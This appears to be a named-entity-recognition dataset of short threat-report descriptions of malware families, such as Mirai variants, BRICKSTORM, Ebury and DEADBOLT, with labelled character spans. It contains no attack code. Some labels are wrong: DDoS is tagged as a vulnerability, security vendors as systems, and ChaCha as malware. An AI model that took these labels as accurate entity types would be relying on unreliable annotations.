+{"text": "According to Google, BRICKSTORM is used to consistently target appliances, among them primarily VMware vCenter and ESXi hosts.", "spans": {"MALWARE: BRICKSTORM": [[21, 31]], "SYSTEM: ESXi": [[115, 119]], "SYSTEM: VMware": [[96, 102]], "SYSTEM: vCenter": [[103, 110]], "ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "BRICKSTORM"}}
+{"text": "According to Mandiant, this is a webshell, written in Perl.", "spans": {"SYSTEM: Perl": [[54, 58]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "BUSHWALK"}}
+{"text": "Pangu Lab discovered this backdoor during a forensic investigation in 2013. They refer to related incidents as \"Operation Telescreen\".", "spans": {}, "info": {"source": "apt_reports", "name": "Bvp47"}}
+{"text": "Linux malware cross-compiled for x86, MIPS, ARM. XOR encoded strings, 13 commands supported for its C&C, including downloading, file modification and execution and ability to run shell commands.", "spans": {"SYSTEM: Linux": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Caja"}}
+{"text": "According to Avast Decoded, Caligula is an IRC multiplatform bot that allows to perform DDoS attacks. It is written in Go and distributed in ELF files targeting Intel 32/64bit code, as well as ARM 32bit and PowerPC 64bit. It is based on the Hellabot open source project.", "spans": {"MALWARE: Caligula": [[28, 36]], "SYSTEM: Avast": [[13, 18]], "SYSTEM: Go": [[119, 121]], "ORGANIZATION: Intel": [[161, 166]], "VULNERABILITY: DDoS": [[88, 92]]}, "info": {"source": "apt_reports", "name": "Caligula"}}
+{"text": "XMRig-based mining malware written in Go.", "spans": {"SYSTEM: Go": [[38, 40]]}, "info": {"source": "apt_reports", "name": "Capoae"}}
+{"text": "A backdoor for UNIX operating systems that implements knocking as authentication method.", "spans": {}, "info": {"source": "apt_reports", "name": "cd00r"}}
+{"text": "This is in the same family as eBury, Calfbot, and is also likely related to DarkLeech", "spans": {}, "info": {"source": "apt_reports", "name": "CDorked"}}
+{"text": "Sophos describes this malware as a DDoS bot, with its name originating from ChaCha-Lua-bot due to its use of ChaCha cipher and Lua. Variants exist for multiple architectures and it incorporates code from XorDDoS and Mirai.", "spans": {"SYSTEM: Sophos": [[0, 6]], "VULNERABILITY: DDoS": [[35, 39]], "MALWARE: Mirai": [[216, 221]], "MALWARE: ChaCha": [[76, 82], [109, 115]]}, "info": {"source": "apt_reports", "name": "Chalubo"}}
+{"text": "Multi-functional malware written in Go, targeting both Linux and Windows, evolved from elf.kaiji.", "spans": {"SYSTEM: Windows": [[65, 72]], "SYSTEM: Linux": [[55, 60]], "SYSTEM: Go": [[36, 38]]}, "info": {"source": "apt_reports", "name": "Chaos"}}
+{"text": "Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor.\r\nGithub: https://github.com/jpillora/chisel", "spans": {"URL: https://github.com/jpillora/chisel": [[376, 410]], "TOOL: Chisel": [[0, 6], [193, 199]], "SYSTEM: SentinelOne": [[276, 287]], "SYSTEM: Go": [[165, 167]]}, "info": {"source": "apt_reports", "name": "Chisel"}}
+{"text": "ELF version of clop ransomware.", "spans": {"MALWARE: clop": [[15, 19]]}, "info": {"source": "apt_reports", "name": "Clop"}}
+{"text": "According to CISA, this is an implant found in firmware for the Contec CMS8000, a patient monitor used by the Healthcare and Public Health sector. An embedded backdoor function with a hard-coded IP address and functionality that enables patient data spillage was identified.", "spans": {"ORGANIZATION: CISA": [[13, 17]]}, "info": {"source": "apt_reports", "name": "CMS8000 Backdoor"}}
+{"text": "ConnectBack malware is a type of malicious software designed to establish unauthorized connections from an infected system to a remote server. Once a victim's device is compromised, ConnectBack creates a covert channel for communication, allowing the attacker to remotely control and gather sensitive information from the compromised system.", "spans": {"MALWARE: ConnectBack": [[0, 11], [182, 193]]}, "info": {"source": "apt_reports", "name": "ConnectBack"}}
+{"text": "Ransomware", "spans": {}, "info": {"source": "apt_reports", "name": "Conti"}}
+{"text": "This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.", "spans": {}, "info": {"source": "apt_reports", "name": "Cpuminer"}}
+{"text": "A malware written in Bash that hides in the Linux calendar system on February 31st. Observed in relation to Magecart attacks.", "spans": {"SYSTEM: Linux": [[44, 49]]}, "info": {"source": "apt_reports", "name": "CronRAT"}}
+{"text": "According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard and ASUS devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.", "spans": {"THREAT_ACTOR: Sandworm": [[553, 561]], "SYSTEM: NAS": [[231, 234]], "ORGANIZATION: CISA": [[13, 17]], "MALWARE: Cyclops": [[19, 26], [245, 252], [376, 383], [485, 492]], "MALWARE: Cyclops Blink": [[19, 32], [245, 258], [376, 389], [485, 498]], "MALWARE: VPNFilter": [[79, 88], [325, 334], [365, 374]]}, "info": {"source": "apt_reports", "name": "CyclopsBlink"}}
+{"text": "According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.\r\n\r\nResearch shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.", "spans": {"MALWARE: Dacls": [[21, 26]], "THREAT_ACTOR: Lazarus Group": [[207, 220]], "SYSTEM: Windows": [[276, 283]], "SYSTEM: Linux": [[262, 267]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Dacls"}}
+{"text": "Mirai variant exploiting CVE-2021-20090 and CVE2021-35395 for spreading.", "spans": {"CVE_ID: CVE-2021-20090": [[25, 39]], "MALWARE: Mirai": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Dark"}}
+{"text": "A sophisticated payload delivery and upgrade framework, discovered in 2024. DarkCracks exploits compromised GLPI and WordPress sites to function as Downloaders and C2 servers.", "spans": {"MALWARE: DarkCracks": [[76, 86]], "SYSTEM: WordPress": [[117, 126]]}, "info": {"source": "apt_reports", "name": "DarkCracks"}}
+{"text": "First activity observed in October 2017. DDG is a botnet with P2P capability that is targeting crypto currency mining (Monero).", "spans": {"MALWARE: DDG": [[41, 44]]}, "info": {"source": "apt_reports", "name": "DDG"}}
+{"text": "DEADBOLT is a linux ransomware written in Go, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the .deadbolt extension appended to file names.", "spans": {"MALWARE: DEADBOLT": [[0, 8]], "SYSTEM: QNAP": [[56, 60]], "SYSTEM: NAS": [[61, 64]], "SYSTEM: Go": [[42, 44]]}, "info": {"source": "apt_reports", "name": "DEADBOLT"}}
+{"text": "Cado discovered this malware, written in Go and targeting AWS Lambda environments.", "spans": {"SYSTEM: AWS": [[58, 61]], "SYSTEM: Go": [[41, 43]]}, "info": {"source": "apt_reports", "name": "Denonia"}}
+{"text": "Dofloo (aka AESDDoS) is a popular malware used to create large scale botnets that can launch DDoS attacks and load cryptocurrency miners to the infected machines.", "spans": {"MALWARE: Dofloo": [[0, 6]], "MALWARE: AESDDoS": [[12, 19]], "VULNERABILITY: DDoS": [[93, 97]]}, "info": {"source": "apt_reports", "name": "Dofloo"}}
+{"text": "According to Cisco Talos, DriveSwitch is a launcher for SilentRaid.", "spans": {"MALWARE: DriveSwitch": [[26, 37]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]], "MALWARE: SilentRaid": [[56, 66]]}, "info": {"source": "apt_reports", "name": "DriveSwitch"}}
+{"text": "This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.\r\n\r\nThis family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.", "spans": {"DOMAIN: kernel.org": [[41, 51]], "TOOL: SSH": [[207, 210]], "SYSTEM: cPanel": [[87, 93], [142, 148]], "SYSTEM: ESET": [[381, 385]]}, "info": {"source": "apt_reports", "name": "Ebury"}}
+{"text": "The latest in this long line of Mirai scourges is a new variant named Echobot. Coming to life in mid-May, the malware was first described by Palo Alto Networks in a report published at the start of June, and then again in a report by security researchers from Akamai, in mid-June.\r\n\r\nWhen it was first spotted by Palo Alto Networks researchers in early June, Echobot was using exploits for 18 vulnerabilities. In the Akamai report, a week later, Echobot was at 26.\r\n\r\nhttps://www.zdnet.com/article/new-echobot-malware-is-a-smorgasbord-of-vulnerabilities", "spans": {"URL: https://www.zdnet.com/article/new-echobot-malware-is-a-smorgasbord-of-vulnerabilities": [[468, 553]], "MALWARE: Echobot": [[70, 77], [359, 366], [446, 453]], "SYSTEM: Palo Alto": [[141, 150], [313, 322]], "ORGANIZATION: Palo Alto Networks": [[141, 159], [313, 331]], "ORGANIZATION: Akamai": [[260, 266], [417, 423]], "MALWARE: Mirai": [[32, 37]]}, "info": {"source": "apt_reports", "name": "Echobot"}}
+{"text": "According to ESET Research, EdgeStepper is an adversary-in-the-middle tool, which forwards DNS traffic from machines in a targeted network to a malicious DNS node. This allows the attackers to redirect the traffic from software updates to a hijacking node that serves instructions to the legitimate software to download a malicious update.", "spans": {"MALWARE: EdgeStepper": [[28, 39]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "EdgeStepper"}}
+{"text": "According to the Infosec Institute, EnemyBot is a dangerous IoT botnet that has made headlines in the last few weeks. This threat, which seems to be disseminated by the Keksec group, expanded its features by adding recent vulnerabilities discovered in 2022. It was designed to attack web servers, Android devices and content management systems (CMS) servers.", "spans": {"MALWARE: EnemyBot": [[36, 44]], "THREAT_ACTOR: Keksec": [[169, 175]], "SYSTEM: Android": [[297, 304]]}, "info": {"source": "apt_reports", "name": "EnemyBot"}}
+{"text": "Ransomware used to target ESXi servers.", "spans": {"SYSTEM: ESXi": [[26, 30]]}, "info": {"source": "apt_reports", "name": "ESXiArgs"}}
+{"text": "According to the author, Evilginx is a standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication.", "spans": {"TOOL: Evilginx": [[25, 33]], "VULNERABILITY: phishing": [[94, 102]], "VULNERABILITY: man-in-the-middle": [[50, 67]]}, "info": {"source": "apt_reports", "name": "Evilginx"}}
+{"text": "According to Infosec Institute, EvilGnome presents itself to unwitting Linux users as a legitimate GNOME extension. Legitimate extensions help to extend Linux functionality, but instead of a healthy boost in system functionality, EvilGnome begins spying on users with an array of functionalities uncommon for most Linux malware types.", "spans": {"MALWARE: EvilGnome": [[32, 41], [230, 239]], "SYSTEM: Linux": [[71, 76], [153, 158], [314, 319]]}, "info": {"source": "apt_reports", "name": "EvilGnome"}}
+{"text": "Malware used to run a DDoS botnet.", "spans": {"VULNERABILITY: DDoS": [[22, 26]]}, "info": {"source": "apt_reports", "name": "Fodcha"}}
+{"text": "This family utilizes custom modules allowing for remote access, credential harvesting (e.g. by modifying sshd) and proxy usage.\r\n\r\nIt comes with a rootkit as well.", "spans": {"VULNERABILITY: rootkit": [[147, 154]]}, "info": {"source": "apt_reports", "name": "FontOnLake"}}
+{"text": "Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine’s disk.", "spans": {"MALWARE: FritzFrog": [[26, 35]], "TOOL: SSH": [[113, 116]]}, "info": {"source": "apt_reports", "name": "FritzFrog"}}
+{"text": "According to Synthient, Gaganode is a decentralized bandwidth monetization service that enables both users and publishers to earn crypto for their bandwidth or monetize other people's bandwidth. The SDK intentionally implements RCE, thus aligning Gaganode more closely with malware than standard commercial SDKs.", "spans": {"MALWARE: Gaganode": [[24, 32], [247, 255]], "VULNERABILITY: RCE": [[228, 231]]}, "info": {"source": "apt_reports", "name": "Gaganode"}}
+{"text": "Gitpaste-12 is a modular malware first observed in October 2020 targeting Linux based x86 servers, as well as Linux ARM and MIPS based IoT devices. It uses GitHub and Pastebin as dead drop C2 locations.", "spans": {"MALWARE: Gitpaste-12": [[0, 11]], "SYSTEM: GitHub": [[156, 162]], "SYSTEM: Linux": [[74, 79], [110, 115]]}, "info": {"source": "apt_reports", "name": "Gitpaste-12"}}
+{"text": "ARM32 SOCKS proxy, written in Go, used in the Glupteba campaign.", "spans": {"SYSTEM: Go": [[30, 32]], "MALWARE: Glupteba": [[46, 54]]}, "info": {"source": "apt_reports", "name": "Glupteba Proxy"}}
+{"text": "According to LAC, this malware is written in Go and was observed in 2022 used by an unknown China-based APT across several incidents in Japan. This backdoor has 20 commands and connects with C2 servers via KCP over UDP.", "spans": {"SYSTEM: Go": [[45, 47]]}, "info": {"source": "apt_reports", "name": "gokcpdoor"}}
+{"text": "GOREVERSE is a publicly available reverse shell backdoor written in GoLang that operates over Secure Shell (SSH).", "spans": {"MALWARE: GOREVERSE": [[0, 9]], "TOOL: SSH": [[108, 111]]}, "info": {"source": "apt_reports", "name": "GOREVERSE"}}
+{"text": "A DDoS botnet, based on Mirai.", "spans": {"VULNERABILITY: DDoS": [[2, 6]], "MALWARE: Mirai": [[24, 29]]}, "info": {"source": "apt_reports", "name": "Gorilla"}}
+{"text": "GoTitan is a DDoS bot under development, which support ten different methods of launching distributed denial-of-service (DDoS) attacks: UDP, UDP HEX, TCP, TLS, RAW, HTTP GET, HTTP POST, HTTP HEAD, and HTTP PUT.", "spans": {"MALWARE: GoTitan": [[0, 7]], "VULNERABILITY: DDoS": [[13, 17], [121, 125]]}, "info": {"source": "apt_reports", "name": "GoTitan"}}
+{"text": "According to Mandiant, GRIMBOLT is a C#-written foothold backdoor compiled using native ahead-of-time (AOT) compilation and packed with UPX. It provides a remote shell capability and uses the same command and control as previously deployed BRICKSTORM payload. It's unclear if the threat actor's replacement of BRICKSTORM with GRIMBOLT was part of a pre-planned life cycle iteration by the threat actor or a reaction to incident response.", "spans": {"MALWARE: GRIMBOLT": [[23, 31], [326, 334]], "TOOL: UPX": [[136, 139]], "ORGANIZATION: Mandiant": [[13, 21]], "MALWARE: BRICKSTORM": [[240, 250], [310, 320]]}, "info": {"source": "apt_reports", "name": "GRIMBOLT"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "HellDown"}}
+{"text": "Linux version of the HelloKitty ransomware.", "spans": {"MALWARE: HelloKitty": [[21, 31]], "SYSTEM: Linux": [[0, 5]]}, "info": {"source": "apt_reports", "name": "HelloKitty"}}
+{"text": "Lumen discovered this malware used in campaign targeting business-grade routers using a RAT they call HiatusRAT and a variant of tcpdump for traffic interception.", "spans": {"MALWARE: HiatusRAT": [[102, 111]]}, "info": {"source": "apt_reports", "name": "HiatusRAT"}}
+{"text": "HiddenWasp is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.", "spans": {"MALWARE: HiddenWasp": [[0, 10]], "SYSTEM: Linux": [[16, 21]]}, "info": {"source": "apt_reports", "name": "HiddenWasp"}}
+{"text": "HinataBot is a Go-based DDoS-focused botnet. It was observed in the first quarter of 2023 targeting HTTP and SSH endpoints leveraging old vulnerabilities and weak credentials. Amongst those infection vectors are exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers.", "spans": {"CVE_ID: CVE-2014-8361": [[277, 290]], "CVE_ID: CVE-2017-17215": [[315, 329]], "MALWARE: HinataBot": [[0, 9]], "TOOL: SSH": [[109, 112]], "SYSTEM: Huawei": [[293, 299]], "SYSTEM: Go": [[15, 17]], "VULNERABILITY: DDoS": [[24, 28]]}, "info": {"source": "apt_reports", "name": "HinataBot"}}
+{"text": "Checkpoint Research describes this as part of a custom firmware image affiliated with the Chinese state-sponsored actor “Camaro Dragon”, a custom MIPS32 ELF implant. HorseShell, the main implant inserted into the modified firmware by the attackers, provides the attacker with 3 main functionalities:\r\n* Remote shell: Execution of arbitrary shell commands on the infected router\r\n* File transfer: Upload and download files to and from the infected router.\r\n* SOCKS tunneling: Relay communication between different clients.", "spans": {"THREAT_ACTOR: Camaro Dragon": [[121, 134]]}, "info": {"source": "apt_reports", "name": "Horse Shell"}}
+{"text": "RAT. Functionality like ExecShell, GetFileList/SendFile/DownloadFile, Socks5, PortmapManager/GetConn/SendConn. Transport also supports Quic.\r\n\r\nVariants in C# and GO.", "spans": {}, "info": {"source": "apt_reports", "name": "InsidiousGh0st"}}
+{"text": "According to Sekoia, this is the ransomware used by the Interlock ransomware intrusion set, which was first observed in September 2024 conducting Big Game Hunting and double extortion campaigns.", "spans": {"MALWARE: Interlock": [[56, 65]], "ORGANIZATION: Sekoia": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Interlock"}}
+{"text": "IOControl is a Linux backdoor which targets ARM-based IoT and OT systems, which a particular focus on Fuel and Industrial Control Systems.", "spans": {"SYSTEM: Linux": [[15, 20]]}, "info": {"source": "apt_reports", "name": "elf.iocontrol"}}
+{"text": "ccording to Fortinet, this is a Mirai-based DDoS botnet.", "spans": {"SYSTEM: Fortinet": [[12, 20]], "VULNERABILITY: DDoS": [[44, 48]], "MALWARE: Mirai": [[32, 37]]}, "info": {"source": "apt_reports", "name": "IZ1H9"}}
+{"text": "According to Lumen, J-Magic is a variant of cd00r and passively scans for five different predefined parameters before activating. If any of these parameters or “magic packets” are received, the agent sends back a secondary challenge. Once that challenge is complete, J-magic establishes a reverse shell on the local file system, allowing the operators to control the device, steal data, or deploy malicious software.", "spans": {"MALWARE: J-Magic": [[20, 27]], "MALWARE: cd00r": [[44, 49]], "MALWARE: J-magic": [[267, 274]]}, "info": {"source": "apt_reports", "name": "J-Magic"}}
+{"text": "Kaden is a DDoS botnet that is heavily based on Bashlite/Gafgyt. Next to DDoS capabilities it contains wiper functionality, which currently can not be triggerred (yet).", "spans": {"MALWARE: Kaden": [[0, 5]], "VULNERABILITY: DDoS": [[11, 15], [73, 77]], "MALWARE: Gafgyt": [[57, 63]], "MALWARE: Bashlite": [[48, 56]]}, "info": {"source": "apt_reports", "name": "Kaden"}}
+{"text": "According to Black Lotus Labs, KadNap primarily targets Asus routers, conscripting them into a botnet that proxies malicious traffic. It employs a custom version of the Kademlia Distributed Hash Table (DHT) protocol, which is used to conceal the IP address of their infrastructure within a peer-to-peer system to evade traditional network monitoring.", "spans": {"MALWARE: KadNap": [[31, 37]], "ORGANIZATION: Black Lotus Labs": [[13, 29]], "MALWARE: Lotus": [[19, 24]]}, "info": {"source": "apt_reports", "name": "KadNap"}}
+{"text": "Surfaced in late April 2020, Intezer describes Kaiji as a DDoS malware written in Go that spreads through SSH brute force attacks. Recovered function names are an English representation of Chinese words, hinting about the origin. The name Kaiji was given by MalwareMustDie based on strings found in samples.", "spans": {"MALWARE: Kaiji": [[47, 52], [239, 244]], "TOOL: SSH": [[106, 109]], "SYSTEM: Go": [[82, 84]], "ORGANIZATION: Intezer": [[29, 36]], "VULNERABILITY: DDoS": [[58, 62]], "VULNERABILITY: brute force": [[110, 121]]}, "info": {"source": "apt_reports", "name": "Kaiji"}}
+{"text": "According to netenrich, Kaiten is a Trojan horse that opens a back door on the compromised computer that allows it to perform other malicious activities. The trojan does not create any copies of itself. This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.", "spans": {"MALWARE: Kaiten": [[24, 30]]}, "info": {"source": "apt_reports", "name": "Kaiten"}}
+{"text": "ELF x64 Rust downloader first discovered on Ivanti Connect Secure VPN after the exploitation of CVE-2024-21887 and CVE-2023-46805. Downloads Sliver backdoor and deletes itself.", "spans": {"CVE_ID: CVE-2024-21887": [[96, 110]], "CVE_ID: CVE-2023-46805": [[115, 129]], "TOOL: Sliver": [[141, 147]], "SYSTEM: Rust": [[8, 12]], "SYSTEM: Ivanti": [[44, 50]], "SYSTEM: VPN": [[66, 69]]}, "info": {"source": "apt_reports", "name": "KrustyLoader"}}
+{"text": "According to Trend Micro, KTLVdoor is a highly obfuscated malware that masquerades as different system utilities, allowing attackers to carry out a variety of tasks including file manipulation, command execution, and remote port scanning.", "spans": {"MALWARE: KTLVdoor": [[26, 34]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "KTLVdoor"}}
+{"text": "According to the author if this open source project, this is a library for injecting a shared library into a Linux, Windows and MacOS process.", "spans": {"SYSTEM: Windows": [[116, 123]], "SYSTEM: Linux": [[109, 114]]}, "info": {"source": "apt_reports", "name": "Kubo Injector"}}
+{"text": "According to Synacktiv, LinkPro targets the GNU/Linux systems and is developed in Golang. It is named after its main module and the corresponding (private) GitHub repository. LinkPro uses eBPF technology, to activate only when receiving a \"magic package\", and to hide on the compromised system.", "spans": {"MALWARE: LinkPro": [[24, 31], [175, 182]], "SYSTEM: GitHub": [[156, 162]], "SYSTEM: Linux": [[48, 53]]}, "info": {"source": "apt_reports", "name": "LinkPro"}}
+{"text": "BitDefender tracked the development of a Mirai-inspired botnet, dubbed LiquorBot, which seems to be actively in development and has recently incorporated Monero cryptocurrency mining features. Interestingly, LiquorBot is written in Go (also known as Golang), which offers some programming advantages over traditional C-style code, such as memory safety, garbage collection, structural typing, and even CSP-style concurrency.", "spans": {"MALWARE: LiquorBot": [[71, 80], [208, 217]], "SYSTEM: Go": [[232, 234]], "MALWARE: Mirai": [[41, 46]]}, "info": {"source": "apt_reports", "name": "LiquorBot"}}
+{"text": "According to ESET Research, LittleDaemon is the first stage deployed on the victim’s machine through hijacked updates. It was observed in both DLL and executable versions, both of them 32-bit PEs. The main purpose of LittleDaemon is to communicate with the hijacking node to obtain the downloader that we call DaemonicLogistics. LittleDaemon does not establish persistence.", "spans": {"MALWARE: LittleDaemon": [[28, 40], [217, 229], [329, 341]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "LittleDaemon"}}
+{"text": "Loader and Cleaner components used in attacks against high-performance computing centers in Europe.", "spans": {}, "info": {"source": "apt_reports", "name": "Loerbas"}}
+{"text": "ESXi encrypting ransomware written in Rust.", "spans": {"SYSTEM: Rust": [[38, 42]], "SYSTEM: ESXi": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Luna"}}
+{"text": "According to Akamai, a Mirai variant exploiting GeoVision IoT devices, (possibly CVE-2024-6047 and/or CVE-2024-11120).", "spans": {"CVE_ID: CVE-2024-6047": [[81, 94]], "CVE_ID: CVE-2024-11120": [[102, 116]], "ORGANIZATION: Akamai": [[13, 19]], "MALWARE: Mirai": [[23, 28]]}, "info": {"source": "apt_reports", "name": "LZRD"}}
+{"text": "Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.", "spans": {"THREAT_ACTOR: Cobalt": [[33, 39]], "TOOL: Cobalt Strike": [[33, 46]], "TOOL: Sliver": [[51, 57]], "SYSTEM: Rust": [[70, 74]], "SYSTEM: Cisco": [[0, 5]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Manjusaka"}}
+{"text": "Masuta is a variant of Mirai that targets IoT devices, primarily routers, using dictionary attacks to target weak credentials. PureMasuta is a variant of Masuta that targets the EDB 38722 D-Link HNAP Bug.", "spans": {"MALWARE: Masuta": [[0, 6], [154, 160]], "MALWARE: PureMasuta": [[127, 137]], "SYSTEM: D-Link": [[188, 194]], "MALWARE: Mirai": [[23, 28]]}, "info": {"source": "apt_reports", "name": "Masuta"}}
+{"text": "MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. It is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft.", "spans": {"MALWARE: MESSAGETAP": [[0, 10]]}, "info": {"source": "apt_reports", "name": "MESSAGETAP"}}
+{"text": "A x64 ELF file infector with non-destructive payload.", "spans": {}, "info": {"source": "apt_reports", "name": "Midrashim"}}
+{"text": "According to Google, MINOCAT is an 64-bit ELF executable for Linux that includes a custom \"NSS\" wrapper and an embedded, open-source Fast Reverse Proxy (FRP) client that handles the actual tunneling.", "spans": {"MALWARE: MINOCAT": [[21, 28]], "SYSTEM: Linux": [[61, 66]], "ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "MINOCAT"}}
+{"text": "Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means \"future\" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on \"Hack Forums\" many variants of the Mirai family appeared, infecting mostly home networks all around the world.", "spans": {"MALWARE: Mirai": [[0, 5], [393, 398]], "SYSTEM: Linux": [[91, 96]]}, "info": {"source": "apt_reports", "name": "Mirai"}}
+{"text": "A ransomware, derived from the leaked Conti source code.", "spans": {"MALWARE: Conti": [[38, 43]]}, "info": {"source": "apt_reports", "name": "Monti"}}
+{"text": "Mozi is a IoT botnet, that makes use of P2P for communication and reuses source code of other well-known malware families, including Gafgyt, Mirai, and IoT Reaper.", "spans": {"MALWARE: Mozi": [[0, 4]], "MALWARE: Gafgyt": [[133, 139]], "MALWARE: Mirai": [[141, 146]]}, "info": {"source": "apt_reports", "name": "Mozi"}}
+{"text": "MrBlack, first identified in May 2014 by Russian security firm Dr. Web, is a botnet that targets Linux OS and is designed to conduct distributed denial-of-service (DDoS) attacks. In May 2015, Incapsula clients suffered a large-scale DDoS attack which the company attributed to network traffic generated by tens of thousands of small office/home office (SOHO) routers infected with MrBlack. This massive botnet spans over 109 countries, especially in Thailand and Brazil.\r\n\r\nMrBlack scans for and infects routers that have not had their default login credentials changed and that allow remote access to HTTP and SSH via port 80 and port 22, respectively. One of the most impacted router brands is Ubiquiti, a U.S.-based firm that provides bulk network hub solutions for internet service providers to lease to their customers. Once a vulnerable router is compromised and MrBlack is injected into the system, a remote server is contacted and system information from the device is transmitted. This allows the host server to receive commands in order to perform different types of DDoS attacks, download and execute files, and terminate processes.", "spans": {"MALWARE: MrBlack": [[0, 7], [381, 388], [474, 481], [869, 876]], "TOOL: SSH": [[611, 614]], "SYSTEM: Ubiquiti": [[696, 704]], "SYSTEM: Linux": [[97, 102]], "VULNERABILITY: DDoS": [[164, 168], [233, 237], [1077, 1081]]}, "info": {"source": "apt_reports", "name": "MrBlack"}}
+{"text": "Ransomware used against Linux servers.", "spans": {"SYSTEM: Linux": [[24, 29]]}, "info": {"source": "apt_reports", "name": "Nextcry"}}
+{"text": "According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 and Linux. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).", "spans": {"MALWARE: Nimbo-C2": [[25, 33]], "SYSTEM: Windows": [[117, 124]], "SYSTEM: Linux": [[133, 138]], "SYSTEM: .NET": [[180, 184]]}, "info": {"source": "apt_reports", "name": "Nimbo-C2"}}
+{"text": "Golang-based RAT that offers execution of shell commands and download+run capability.", "spans": {}, "info": {"source": "apt_reports", "name": "NiuB"}}
+{"text": "According to Black Lotus Labs, Nosedive is a custom variation of the Mirai implant that is supported on all major SOHO and IoT architectures (e.g. MIPS, ARM, SuperH, PowerPC, etc.). Nosedive implants are typically deployed from Tier 2 payload servers in the Raptor Train infrastructure through a unique URL encoding scheme and domain injection method. Nosedive droppers use this method to request payloads for specific C2s by encoding the requested C2 domain and joining it with a unique \"key\" that identifies the bot and the target architecture of the compromised device (e.g. MIPS, ARM, etc.), which is then injected into the Nosedive implant payload that is deployed to the Tier 1 node. Once deployed, Nosedive runs in-memory only and allows the operators to execute commands, upload and download files, and run DDoS attacks on compromised devices. \r\n\r\nThe malware and its associated droppers are memory-resident only and deleted from disk. This, in addition to anti-forensics techniques employed on these devices including the obfuscation of running process names, compromising devices through a multi-stage infection chain, and killing remote management processes, makes detection and forensics much more difficult.", "spans": {"MALWARE: Nosedive": [[31, 39], [182, 190], [352, 360], [628, 636], [705, 713]], "ORGANIZATION: Black Lotus Labs": [[13, 29]], "VULNERABILITY: DDoS": [[815, 819]], "MALWARE: Mirai": [[69, 74]], "MALWARE: Lotus": [[19, 24]]}, "info": {"source": "apt_reports", "name": "Nosedive"}}
+{"text": "FireEye states that NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit ELF binary for BSD systems. It periodically scans for and deletes files matching filename patterns and content characteristics. The purpose seems to be to block exploitation attempts against the CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN provides backdoor access to the compromised system.", "spans": {"CVE_ID: CVE-2019-19781": [[281, 295]], "THREAT_ACTOR: NOTROBIN": [[20, 28], [342, 350]], "SYSTEM: Go": [[53, 55]], "ORGANIZATION: FireEye": [[0, 7], [320, 327]]}, "info": {"source": "apt_reports", "name": "NOTROBIN"}}
+{"text": "According to stormshield, Orbit is a two-stage malware that appeared in July 2022, discovered by Intezer lab. Acting as a stealer and backdoor on 64-bit Linux systems, it consists of an executable acting as a dropper and a dynamic library.", "spans": {"MALWARE: Orbit": [[26, 31]], "SYSTEM: Linux": [[153, 158]], "ORGANIZATION: Intezer": [[97, 104]]}, "info": {"source": "apt_reports", "name": "OrBit"}}
+{"text": "Mirai variant by actor \"Anarchy\" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices.", "spans": {"CVE_ID: CVE-2017-17215": [[43, 57]], "MALWARE: Mirai": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Owari"}}
